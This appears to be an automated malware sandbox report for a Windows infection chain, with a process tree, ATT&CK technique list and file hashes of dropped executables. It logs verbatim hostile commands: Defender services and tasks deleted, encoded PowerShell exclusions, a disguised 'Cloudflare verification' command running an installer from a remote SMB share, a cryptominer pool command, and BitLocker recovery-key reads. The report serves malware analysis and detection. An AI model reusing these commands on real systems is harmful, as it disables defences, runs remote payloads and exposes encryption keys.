        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        12⤵
        
        PID:6084
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        12⤵
        Launches sc.exe
        
        PID:4768
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        12⤵
        Launches sc.exe
        
        PID:5648
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        12⤵
        
        PID:5896
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        12⤵
        Launches sc.exe
        
        PID:6132
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        12⤵
        Launches sc.exe
        
        PID:2344
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        12⤵
        
        PID:5168
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        12⤵
        
        PID:5524
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        12⤵
        
        PID:5512
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        12⤵
        
        PID:2148
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        12⤵
        
        PID:2548
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        12⤵
        Launches sc.exe
        
        PID:5516
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        12⤵
        Launches sc.exe
        
        PID:5672
        
        C:\Users\Admin\AppData\Local\Temp\10451410101\7q8Wm5h.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10451410101\7q8Wm5h.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:5104
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
        8⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5548
        
        C:\Users\Admin\AppData\Local\Temp\10451420101\bd3bd05008.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10451420101\bd3bd05008.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:6572
        
        C:\Users\Admin\AppData\Local\Temp\10451430101\7IIl2eE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10451430101\7IIl2eE.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:6328
        
        C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5616
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:7068
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:5760
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4732
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:6152
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 418377
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:6644
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Leon.cab
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:6056
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "BEVERAGES" Compilation
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:6396
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 418377\Passwords.com + Playing + New + Realized + Uw + Jpeg + Badly + Asbestos + Seeds + Service + Basis + Via 418377\Passwords.com
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:3724
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Pendant.cab + ..\Visitor.cab + ..\Illegal.cab + ..\Suddenly.cab + ..\Theology.cab + ..\Kidney.cab + ..\Flying.cab + ..\Tigers.cab N
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:7164
        
        C:\Users\Admin\AppData\Local\Temp\418377\Passwords.com
        
        Passwords.com N
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3668
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:7088
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10451441121\pfJNmVW.cmd"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5504
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall' -windowstyle hidden -Verb RunAs; # Cloudflare verification (Ray ID: 90b0e54eb8bdaasd84)
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6744
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:5424
        
        C:\Windows\SysWOW64\net.exe
        
        net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234!
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:6476
        
        \??\UNC\aaso12.duckdns.org\shear\s.exe
        
        \\aaso12.duckdns.org\shear\s -fullinstall
        10⤵
        Sets service image path in registry
        Drops file in Program Files directory
        
        PID:6816
        
        C:\Users\Admin\AppData\Local\Temp\10451450101\be3ba05441.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10451450101\be3ba05441.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Writes to the Master Boot Record (MBR)
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:5908
        
        C:\Users\Admin\AppData\Local\Temp\10451460101\UZPt0hR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10451460101\UZPt0hR.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        
        PID:2192
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
        8⤵
        
        PID:4960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:'
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:428
        
        C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        8⤵
        Downloads MZ/PE file
        Adds Run key to start application
        
        PID:1532
        
        C:\Users\Admin\AppData\Local\Temp\10451470101\TbV75ZR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10451470101\TbV75ZR.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5808
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5656
        
        C:\Users\Admin\AppData\Local\Temp\10451480101\9sWdA2p.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10451480101\9sWdA2p.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6668
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe --algo rx/0 -o 196.251.118.49:49301 -u 47kJwZakUCHUPtYBwg8Hc5U3VEjqmPmKiYy8GPVQvdagRU2cTt9Fs4J34haCDRQNPdQ6oyhPQbmxP1dUp6aXVoogBCh9Dva.Worker_CPU -p x --cpu-max-threads-hint=50 -k
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:6184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
  2⤵
  PID:6224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
  2⤵
  PID:7144

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAEQALQBNAFAAUAByAEUAZgBlAFIARQBuAGMARQAgAC0ARQB4AEMAbABVAHMAaQBvAE4AcABBAHQASAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBvAGQAZQBcAEkAcwBWAGEAbAB1AGUAQwByAGUAYQB0AGUAZAAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBPAFIAYwBlADsAIABhAGQAZAAtAG0AcABwAFIARQBmAGUAcgBFAG4AYwBFACAALQBlAHgAQwBMAHUAcwBpAE8AbgBQAFIATwBDAEUAUwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBvAGQAZQBcAEkAcwBWAGEAbAB1AGUAQwByAGUAYQB0AGUAZAAuAGUAeABlACAALQBmAE8AcgBjAEUA
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6128

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5476

C:\Users\Admin\AppData\Roaming\Mode\IsValueCreated.exe
C:\Users\Admin\AppData\Roaming\Mode\IsValueCreated.exe
1⤵
- Executes dropped EXE
PID:5268

C:\Program Files\Mesh Agent\MeshAgent.exe
"C:\Program Files\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:5648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2136
- C:\Windows\system32\cmd.exe
  /c manage-bde -protectors -get C: -Type recoverypassword
  2⤵
  PID:6824
- - C:\Windows\system32\manage-bde.exe
    manage-bde -protectors -get C: -Type recoverypassword
    3⤵
    PID:5652
- C:\Windows\system32\cmd.exe
  /c manage-bde -protectors -get F: -Type recoverypassword
  2⤵
  PID:5416
- - C:\Windows\system32\manage-bde.exe
    manage-bde -protectors -get F: -Type recoverypassword
    3⤵
    PID:6272

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBEAGQALQBNAFAAcABSAGUARgBFAHIARQBuAGMARQAgAC0ARQB4AGMATAB1AFMAaQBPAG4AUAByAE8AYwBlAHMAUwAgAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUAIAAtAEYAbwBSAGMAZQA=
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5356

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6348

C:\Program Files\Mesh Agent\MeshAgent.exe
"C:\Program Files\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:6972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:6580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5836
- C:\Windows\system32\cmd.exe
  /c manage-bde -protectors -get C: -Type recoverypassword
  2⤵
  PID:4444
- - C:\Windows\system32\manage-bde.exe
    manage-bde -protectors -get C: -Type recoverypassword
    3⤵
    PID:4944
- C:\Windows\system32\cmd.exe
  /c manage-bde -protectors -get F: -Type recoverypassword
  2⤵
  PID:3300
- - C:\Windows\system32\manage-bde.exe
    manage-bde -protectors -get F: -Type recoverypassword
    3⤵
    PID:6764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Mesh Agent\MeshAgent.db

Filesize
154KB

MD5
8d7d58dac9a80bb9499f7dfacd9d1844

SHA1
30f5484234ca4bb54d3cc916af866724e8451e3c

SHA256
b98f9c68f24b33ab37c0c3f7cdf5411bd847fa4e7d4167188ff92a7b01b6e787

SHA512
e8bcf28a6b5f3856fb4196884a93d435a9311f10a531bd4098c4943a6d4008cd1f79ab0c6907cb550cafce241ae8b3ed1ecce10dc5fab21550637f195e2810d8

Download Submit
C:\Program Files\Mesh Agent\MeshAgent.db.tmp

Filesize
154KB

MD5
d4f0e9c90aeb93b2eae1392c34f38d5a

SHA1
2d4d8f84c83e441d1fedaea49826dface18d622c

SHA256
0a731bc8a2f34e51ab21cc7022e9fb202ce001779ee83bcaca824f9b00fe966d

SHA512
5e5b0c712c37ffa0a3dc8339b2bb5d5bd5c1ff284fe31b070b530a27ddc12c643857750504d61ce582ff9d653cead2e80e85206f9a613e07296b85558bee1088

Download Submit
C:\Program Files\Mesh Agent\MeshAgent.exe

Filesize
3.3MB

MD5
91424f307b7f0e238aab1f06434a7dc4

SHA1
4fb5ec3082d3545a79e2ccbd4b624320cafd68f1

SHA256
cdc2aa09167bd32f9a01eb60414d0b8faaf8616b9a23a7fc1671bb6bc7f162a1

SHA512
6830052ce91c378e7e21c385fb9a522f57fa59d1082a460a26199dbcfa808b37abad741eb8bf7dfd746d522d37dc03ac9d1674fb429f988873eb6a53fde93f83

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\7q8Wm5h.exe.log

Filesize
838B

MD5
0a743d6c57450a2d49a29271195f3356

SHA1
2f412841f6c0e365b5f08a22772254b07934d17d

SHA256
09c2a373e9885355f76bf3a42e13d83510d1dfdaa02f507de28d25fdd46c681d

SHA512
aa61e62eee06bdf358ccd27bc855ed0f9dc16a0240b3b2bb431aa67a51c0a90a1e58cb23048063b6a69a9d177aab07f7950c77d385fb11969952513cdc8e060d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
622bf737a997b9a257f15dc3b9ee9da5

SHA1
6beba023f9c081393b64de079969e948a47be8be

SHA256
bcefb9a5dbc47579f8b52cc37fd7591a0e20f00f0a7867df0232088db90273d7

SHA512
c1833c09ef0b3e643b8657874e8a99d7d154ac255c326d85fccba53aa57679e7dad93e61b3b8419937cb7ad936eab727c5edd6c4be6b988982c1d61505305e77

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
25604a2821749d30ca35877a7669dff9

SHA1
49c624275363c7b6768452db6868f8100aa967be

SHA256
7f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476

SHA512
206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
14KB

MD5
9d2eaeab81c238b47852de0d99b91077

SHA1
14f86d1af05164f3409f883905c42af507e66f43

SHA256
610849abbcbea7d4278a44f5a6d4c758d867d27b7af8deb1cf9d6f64a45b9a8d

SHA512
b02b01c8a55c4d32f5f9ef967e67fc9f9910c3fb23c8f0363dc3a4b43baf516bb6ce4dd307004647c8fb0e1637294d189089fd2397632ea72fd836d001247742

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
b5a7e9aa85855ca5a312d0bce1892cbc

SHA1
1d6749a594c5bf458c11df4a3c58c85f4fc25d97

SHA256
1b5de91a30ea9b5593a5009ffc354e3397044cd9a3a40a51fc7ffe4b780f125e

SHA512
28f939a3163d5340e4e19ac49b346abe906d2e76b330fb834c56080e5e22bd6523961d7052598d8a108f097e26d3cba858ee40c8a647a49948fe0a8557476558

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
14KB

MD5
526f89fdf81706c2f94ead40227782da

SHA1
4d96589e28aff06290c17c95646db9340c7f56d8

SHA256
47680627ce138cab6a031ee0657e8b9ba36c00689d2b3dcfea5c7ab4c12ae693

SHA512
e7822b58ba69700de54dbce3e837d89f3231256606969bb97fee990c9a3d2ce9ae912580e8a3b8db99b0614b73ac83ab68efd477aea5f3cbf84c84c93638a366

Download Submit
C:\Users\Admin\AppData\Local\TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE

Filesize
1.8MB

MD5
e84eb58654569849a365da62d2d8c530

SHA1
e16acdfd5dfa39e75734aabe91b855ed7056fe55

SHA256
a9aa4fc206013a6b0b1d691e4e61c6c1263fb9b4067292772e3ebe892bdd8f89

SHA512
f558826b95d178b40901ab5095b95873c919f24a8dd9ae7fc566d3847fd9e3aeb290989316778326d9ae70403d7c3e18f3fc4db841d8b19792b1078eeecd87e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\10447710101\7q8Wm5h.exe

Filesize
655KB

MD5
922e963ce085b717f4d3818a1f340d17

SHA1
ce250046d0587889ad29f485fbf0e97692156625

SHA256
bf5d1dd6ea5f4af043069d12699f9352af431ce3cdff633ff227eec441244bca

SHA512
689b6afe8755a81c428e76dadac66cfee8f81afd6fabf386cc1d1ed836c09fe318844964120f25e445fbd03995708f91609194961c9753362b6563f603fad1ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\10449261121\pfJNmVW.cmd

Filesize
258B

MD5
883dc2eefa3767f2644fc6d3b3e55768

SHA1
21840ca7cb5b86db35879df43d6b2760e198ba5b

SHA256
ec5e54764cd4136d7b20c16f79275da7b303e845d061fe7bd8f01bc34b1c3e91

SHA512
e6951cc2c0c81b25e430d6fe13a17b5c8ec81b70ad3c345338ab16b7a4711c43991abccb3d259b1860ba17d14bad82f6a66ddcecf6b3e38ec326c931e3747989

Download Submit
C:\Users\Admin\AppData\Local\Temp\10449770101\apple.exe

Filesize
327KB

MD5
17b045d3037b19362f5710ef08a1c3a9

SHA1
b510e63483354299a982f8c8b8425e1611f60ad4

SHA256
ca1cf8c31abcbf6fa6d324098c97bea8452da24cfcf579a52a3d262c93a85557

SHA512
cd96011398083f83d0869df41acf62cc8ccb69ea92b5c83066098f4227aa60bf37af16c4b5118cb5497202c8f78ab4703c9d8acf61ca41f3512d882dd5f79ac0

Download Submit
C:\Users\Admin\AppData\Local\Temp\10451420101\bd3bd05008.exe

Filesize
1.8MB

MD5
b85f09b77b9a83a1cf27ac49ca700f9c

SHA1
ced35b4f0428c4fac5b6b4559b58932dbc4f9935

SHA256
ec4ba096fc89cc4e4ded2c855c1a03d0bae26a0b041fef86bd4f621e66fc7134

SHA512
e8611c5d31dca9ad2be276a653a18338551ae1df87d3f7b8ce6d4d33668960e64950919ec34cf48c4d39d4ec0da2aaab736834da4bb6a922fa81f2bc994f9dfb

Download Submit
C:\Users\Admin\AppData\Local\Temp\10451430101\7IIl2eE.exe

Filesize
1.2MB

MD5
7d842fd43659b1a8507b2555770fb23e

SHA1
3ae9e31388cbc02d4b68a264bbfaa6f98dd0c328

SHA256
66b181b9b35cbbdff3b8d16ca3c04e0ab34d16f5ebc55a9a8b476a1feded970a

SHA512
d7e0a845a1a4e02f0e0e9cf13aa8d0014587ebef1d9f3b16f7d3d9f3dc5cdc2a17aa969af81b5dc4f140b2d540820d39317b604785019f1cbfa50d785970493b

Download Submit
C:\Users\Admin\AppData\Local\Temp\10451450101\be3ba05441.exe

Filesize
2.1MB

MD5
d4c1672461ecb65511c3f9c713d8d5b7

SHA1
661ce7a35dea58e06f6791b8635c175032c5c0b3

SHA256
3ad445be6e623546f39fa16891cc1a72e4fc62408ef3d06efcfc96df8411bb97

SHA512
000eaaabeffc75ca6c475dc4a28f6f8de4e9c0ca00595c30d561592f8ab4635586727c58576eb102cac936f3ac5ebd62e4b7f74547be8ff19b6c8df6ab248e4f

Download Submit
C:\Users\Admin\AppData\Local\Temp\10451460101\UZPt0hR.exe

Filesize
1.2MB

MD5
79c47af6671f89ba34da1c332b5d5035

SHA1
4169b11ea22eb798ef101e1051b55a5d51adf3c2

SHA256
6facc38b5b793b240f3a757e0e22187f3b088340ec02c87d90250c2ced4c1600

SHA512
ddda1bf13778e4a8aed6e6f50043512dd54e2f87f8aecef4516a64edc586e9ce6a8b29c792d7cfbc51a1a15d1ec1c4108383a8866ff2a911a8917af6dc2e57b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\10451470101\TbV75ZR.exe

Filesize
1.9MB

MD5
b53f9756f806ea836d98ff3dc92c8c84

SHA1
05c80bd41c04331457374523d7ab896c96b45943

SHA256
73ca9bc319d447e03a717b4f781aca8dc11a5bec82ace59751f285341e4b137c

SHA512
bd776a3f3ae229fb36f54674323ddeea0a631acfc18578860ed282667fcc5047d2b5033aba4f88f5908d909d0969081a94cb1cb3efbb9ecaeff526c0fb2ecddb

Download Submit
C:\Users\Admin\AppData\Local\Temp\10451480101\9sWdA2p.exe

Filesize
1.1MB

MD5
5adca22ead4505f76b50a154b584df03

SHA1
8c7325df64b83926d145f3d36900b415b8c0fa65

SHA256
aa7105a237dc64c8eb179f18d54641e5d7b9ab7da7bf71709a0d773f20154778

SHA512
6192d61e777c59aa80c236b2f3e961795b7ff9971327c4e3270803d356ecf38949811df680a372259a9638ccdb90fc1271fb844f1f35656d5b317c96081f396e

Download Submit
C:\Users\Admin\AppData\Local\Temp\262.exe

Filesize
88KB

MD5
89ccc29850f1881f860e9fd846865cad

SHA1
d781641be093f1ea8e3a44de0e8bcc60f3da27d0

SHA256
4d33206682d7ffc895ccf0688bd5c914e6b914ea19282d14844505057f6ed3e3

SHA512
0ed81210dc9870b2255d07ba50066376bcc08db95b095c5413ec86dd70a76034f973b3f396cafcfaf7db8b916ac6d1cbca219900bb9722cb5d5b7ea3c770a502

